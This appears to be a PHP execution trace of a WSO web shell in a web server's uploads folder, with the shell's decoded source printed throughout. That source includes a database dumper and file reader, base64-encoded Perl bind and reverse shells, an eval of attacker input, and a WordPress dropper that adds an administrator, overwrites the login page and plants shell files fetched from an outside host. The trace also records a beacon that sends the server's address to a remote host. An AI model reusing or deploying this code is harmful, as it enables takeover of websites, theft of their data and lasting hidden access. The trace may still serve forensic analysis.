\';\n\twsoFooter();\n}\n\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction DbClass($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table wso2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n $i = 0;\n $head = true;\n\t\t\t\t\twhile($item = $this->fetch()) {\n $sql = \'\';\n if($i % 1000 == 0) {\n $head = true;\n $sql = ";\\n\\n";\n }\n\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n if($v === null)\n $item[$k] = "NULL";\n elseif(is_int($v))\n $item[$k] = $v;\n else\n $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n if($head) {\n $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n $head = false;\n } else\n $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n if($fp) fwrite($fp, $sql); else echo($sql);\n $i++;\n\t\t\t\t\t}\n if(!$head)\n if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($item = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($item as $k=>$v) {\n\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n switch($_POST[\'charset\']) {\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n case "UTF-8": $db->setCharset(\'utf8\'); break;\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n case "cp866": $db->setCharset(\'cp866\'); break;\n }\n if(empty($_POST[\'file\'])) {\n ob_start("ob_gzhandler", 4096);\n header("Content-Disposition: attachment; filename=dump.sql");\n header("Content-Type: text/plain");\n foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n exit;\n } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n foreach($_POST[\'tbl\'] as $v)\n $db->dump($v, $fp);\n fclose($fp);\n unset($_POST[\'p2\']);\n } else\n die(\'\');\n\t}\n\twsoHeader();\n\techo "\n

Sql browser

\n
\n\n\n\n\n\n\n\t\t\t\t\n \n\t\t\t\n\t\t
TypeHostLoginPasswordDatabase
";\n\t$tmp = "";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo ">\' onclick=\'fs(d.sf);\'> count the number of rows
\n\t\t";\n\tif(isset($db) && $db->link){\n\t\techo "
";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "";\n\t\t\t}\n\t\t\techo "
Tables:

";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($item = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($item);\n if(!empty($_POST[\'sql_count\']))\n $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo " ".$value."" . (empty($_POST[\'sql_count\'])?\' \':" ({$n[\'n\']})") . "
";\n\t\t\t\t}\n\t\t\t\techo "
File path:		";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n echo "".$_POST[\'p2\']." ({$num[\'n\']} records) Page # ";\n echo " of $pages";\n if($_POST[\'p3\'] > 1)\n echo " < Prev";\n if($_POST[\'p3\'] < $pages)\n echo " Next >";\n $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "

";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($item = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\tforeach($item as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\treset($item);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($item as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'
\'.$key.\'
null\'.nl2br(htmlspecialchars($value)).\'
\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'
Error: \'.htmlspecialchars($db->error()).\'
\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "

";\n\t\t\t\techo "

";\n if($_POST[\'type\']==\'mysql\') {\n $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n if($db->fetch())\n echo "
Load file >\'>
";\n }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'
\'.htmlspecialchars($file[\'file\']).\'
\';\n\t\t\t}\n\t} else {\n echo htmlspecialchars($db->error());\n }\n\techo \'
\';\n\twsoFooter();\n}\nfunction actionNetwork() {\n\twsoHeader();\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\n\techo "

Network tools

\n\t
\n\tBind port to /bin/sh [perl]
\n\tPort: >\'>\n\t
\n\t
\n\tBack-connect [perl]
\n\tServer: Port: >\'>\n\t

";\n\tif(isset($_POST[\'p1\'])) {\n\t\tfunction cf($f,$t) {\n\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n\t\t\tif($w){\n\t\t\t\t@fwrite($w,@base64_decode($t));\n\t\t\t\t@fclose($w);\n\t\t\t}\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bpp\') {\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\n\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n sleep(1);\n\t\t\techo "
$out\\n".wsoEx("ps aux | grep bp.pl")."
";\n unlink("/tmp/bp.pl");\n\t\t}\n\t\tif($_POST[\'p1\'] == \'bcp\') {\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\n\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n sleep(1);\n\t\t\techo "
$out\\n".wsoEx("ps aux | grep bc.pl")."
";\n unlink("/tmp/bc.pl");\n\t\t}\n\t}\n\techo \'
\';\n\twsoFooter();\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"wso_version" => WSO_VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nif( empty($_POST[\'a\']) )\n\tif(isset($default_action) && function_exists(\'action\' . $default_action))\n\t\t$_POST[\'a\'] = $default_action;\n\telse\n\t\t$_POST[\'a\'] = \'SecInfo\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n\tcall_user_func(\'action\' . $_POST[\'a\']);\nexit;\n?>Sender Yazdirildi.
SITE YOL : \'.$yol.\'
Sender Yolu : js/crs.php\';\n $header .= "From: SheLL Boot \\n";\n $header .= "Content-Type: text/html;\n charset=utf-8\\n";\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\n @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);\n } \n?>\nset_role( \'administrator\' );\n } \n // shell Ekleme\n \n // Wp Login Yazma.\n $wp_login = ABSPATH.\'/wp-login.php\';\n $login = http_get(\'https://acbdf.space/txt/seo.txt\');\n $open_login = fopen($wp_login, \'w\');\n fwrite($open_login, $login);\n fclose($open_login);\n // Wp Login Yazma.\n}\n\n\n// Shell Yazma\n$code = http_get(\'https://acbdf.space/txt/min.txt\');\n$wp_code = $document_root.\'/wp-clon.php\';\n$open_code = fopen($wp_code, \'w\');\nfwrite($open_code, $code);\nfclose($open_code);\n// Shell Yazma\n\n// Makale Yazma\n$makale = http_get(\'https://acbdf.space/txt/phpinfo.txt\');\n$wp_makale = $document_root.\'/phpinfo.php\';\n$open_makale = fopen($wp_makale, \'w\');\nfwrite($open_makale, $makale);\nfclose($open_makale);\n// Makale Yazma\n\n\n// Klasörlere Yazma\n$directories = expandDirectories($document_root);\n$css = http_get(\'https://acbdf.space/txt/wp.txt\');\nforeach($directories as $dir)\n{\n\tif(!preg_match(\'#wp-content#\', $dir))\n\t{\n\t $css_file = $dir.\'/wp-inda.php\';\n\t $open_css = fopen($css_file, \'w\');\n\t fwrite($open_css, $css);\n\t fclose($open_css);\n }\n}\n// Klasörlere Yazma\n\nfunction expandDirectories($base_dir) {\n $directories = array();\n foreach(scandir($base_dir) as $file) {\n if($file == \'.\' || $file == \'..\') continue;\n $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\n if(is_dir($dir)) {\n $directories []= $dir;\n $directories = array_merge($directories, expandDirectories($dir));\n }\n }\n return $directories;\n}\nfunction http_get($url)\n{\n\t$im = curl_init($url);\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\n\treturn curl_exec($im);\n\tcurl_close($im);\n}\n?>' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code 3 0 8 37 0 0.022523 1829744 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 1 'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==' 8 37 1 0.022546 1829840 8 37 R 'https://anonym0us.club/l-' 8 38 0 0.022564 1829808 GetIP 1 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 0 9 39 0 0.022578 1829808 getenv 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 3 1 'HTTP_CLIENT_IP' 9 39 1 0.022599 1829840 9 39 R FALSE 9 40 0 0.022614 1829808 getenv 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 5 1 'HTTP_X_FORWARDED_FOR' 9 40 1 0.022630 1829840 9 40 R FALSE 9 41 0 0.022644 1829808 getenv 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 12 1 'REMOTE_ADDR' 9 41 1 0.022661 1829880 9 41 R '127.0.0.1' 8 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 12 $ip = '127.0.0.1' 8 38 1 0.022690 1829848 8 38 R '127.0.0.1' 8 42 0 0.022706 1829872 base64_encode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 1 'http://localhost/uploads/wso.php' 8 42 1 0.022722 1829984 8 42 R 'aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA=' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 16 $x = 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA=' 8 43 0 0.022757 1829856 function_exists 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 17 1 'curl_init' 8 43 1 0.022773 1829896 8 43 R TRUE 8 44 0 0.022786 1829856 curl_init 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 0 8 44 1 0.022808 1830768 8 44 R resource(3) of type (curl) 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 $ch = resource(3) of type (curl) 8 45 0 0.022837 1830768 curl_setopt 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 3 resource(3) of type (curl) 10002 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA=' 8 45 1 0.022859 1830864 8 45 R TRUE 8 46 0 0.022872 1830768 curl_setopt 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 3 resource(3) of type (curl) 19913 TRUE 8 46 1 0.022889 1830864 8 46 R TRUE 8 47 0 0.022902 1830768 curl_exec 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 1 resource(3) of type (curl) 8 47 1 0.599030 1830800 8 47 R '' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 $gitt = '' 8 48 0 0.599093 1830768 curl_close 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 19 1 resource(3) of type (curl) 8 48 1 0.599839 1829912 8 48 R NULL 8 49 0 0.599861 1829880 file_get_contents 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 21 1 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3dzby5waHA=' 8 49 1 1.184047 1831936 8 49 R '' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 21 $gitt = '' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 27 $auth_pass = 'a6d13df8a46cf713e5cda6a6c0d043bf' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 28 $color = '#df5' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 29 $default_action = 'FilesMan' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 30 $default_use_ajax = TRUE 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 31 $default_charset = 'Windows-1251' 7 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 34 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 8 50 0 1.184254 1831896 implode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 35 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 8 50 1 1.184277 1832040 8 50 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler' 8 51 0 1.184295 1831976 preg_match 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 35 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1' 8 51 1 1.184316 1832040 8 51 R 0 8 52 0 1.184340 1831896 ini_set 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 41 2 'error_log' NULL 8 52 1 1.184358 1831968 8 52 R '' 8 53 0 1.184372 1831896 ini_set 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 42 2 'log_errors' 0 8 53 1 1.184397 1831968 8 53 R '1' 8 54 0 1.184411 1831896 ini_set 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 43 2 'max_execution_time' 0 8 54 1 1.184427 1832000 8 54 R '30' 8 55 0 1.184441 1831896 set_time_limit 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code(4) : eval()'d code(3) : eval()'d code 44 1 0 8 55 1 1.184494 1831960 8 55 R FALSE 7 36 1 1.184518 1834992 6 30 1 1.184549 1760976 5 26 1 1.184558 1660616 4 14 1 1.184566 1393752 3 11 1 1.184573 1389776 2 8 1 1.184594 1386872 1 3 1 1.184601 1384024 1 56 0 1.184609 1384056 Error->__toString 0 Unknown 0 0 2 57 0 1.184622 1384136 Error->getTraceAsString 0 Unknown 0 0 2 57 1 1.184637 1388232 2 57 R '#0 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4) : eval()\'d code(3): eval()\n#1 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4): eval()\n#2 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2): eval()\n#3 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1): eval()\n#4 /var/www/html/uploads/wso.php(9) : eval()\'d code' 1 56 1 1.184660 1388528 1 56 R 'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4) : eval()\'d code(3) : eval()\'d code:45\nStack trace:\n#0 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4) : eval()\'d code(3): eval()\n#1 /var/www/html/uploads/wso.php(9) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(2) : eval()\'d code(4): eval()\n#2 /var/ww' 1.184719 1309184 TRACE END [2023-02-13 02:20:21.583983]